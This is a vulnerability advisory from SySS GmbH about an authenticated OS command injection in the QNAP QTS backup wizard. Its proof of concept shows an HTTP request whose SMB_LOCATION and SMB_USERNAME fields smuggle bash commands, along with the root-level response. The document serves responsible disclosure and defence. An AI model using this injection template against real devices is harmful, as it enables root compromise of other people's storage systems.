QNAP QTS 4.2.1 Build 20160601 Command Injection

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Advisory ID: SYSS-2016-055  
Product: QNAP QTS  
Manufacturer: QNAP  
Affected Version(s): 4.2.1 Build 20160601  
Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812  
Vulnerability Type: OS Command Injection (CWE-78)  
Risk Level: High  
Solution Status: Unfixed  
Manufacturer Notification: 2016-06-08  
Solution Date: tbd.  
Public Disclosure: 2016-08-18  
CVE Reference: Not assigned  
Author of Advisory: Sebastian Nerz (SySS GmbH)  
  
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Overview:  
  
QTS is the operating system used by manufacturer QNAP on its series of  
NAS devices (see [1]).  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
The SySS GmbH found an OS command injection in the appRequest plugin of   
the current QTS administrative interface.  
  
This type of vulnerability allows an attacker to run arbitrary commands  
on the operating system of the host as root.  
  
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Proof of Concept (PoC):  
  
1. Log in to the QNAP. The user needs the privileges to create backup  
jobs.  
  
2. Run a request like the following, testing connection to another QNAP  
for backups:  
  
==  
POST /cgi-bin/wizReq.cgi? HTTP/1.1   
Host: [IP of the QNAP]:8080  
Content-Length: 282   
  
wiz_func=backup&action=test_server&count=1465380979663&RR_CLIENT_MODE=QNAP_mode&SMB_LOCATION=$(bash%20-c%20"(echo;pwd)1>%262";exit)&RR_CLIENT_PORT=873&REMOTE_VOL=undefined&REMOTE_PATH=%2F&SMB_USERNAME=$(bash%20-c%20"(echo;id)1>%262";exit)&SMB_PASSWD=asd&No_vol_info=yes&sid=[sid]  
  
3. The contained commands in SMB_LOCATION and SMB_USERNAME will be  
executed, as demonstrated in the following server response containing  
the output of the id and pwd commands:  
  
==  
HTTP/1.1 200 OK   
Date: Wed, 08 Jun 2016 10:31:50 GMT   
Content-Type: text/plain   
Content-Length: 1205   
  
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)  
  
/home/httpd/cgi-bin  
Content-type: text/xml   
  
<?xml version="1.0" encoding="UTF-8" ?>  
<QDocRoot version="1.0">  
[...]  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The manufacturer has not released any security update or patch so far.  
Validate input-strings, escape shell arguments or use parametrized  
command executions.  
  
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Disclosure Timeline:  
  
2016-06-08: Vulnerability discovered and reported to manufacturer  
2016-06-20: Vulnerability report confirmed by manufacturer  
2016-07-06: Manufacturer asked for timeline regarding a fix  
2016-07-18: Manufacturer reminded about upcoming public disclosure  
2016-08-18: Public disclosure  
  
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References:  
  
[1] Product website for QNAP QTS  
http://www.qnap.com/qts/4.2/en/  
[2] SySS Security Advisory SYSS-2016-055  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-055.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Sebastian Nerz of the SySS  
GmbH.  
  
E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc  
Key ID: 0x9180FDB2  
Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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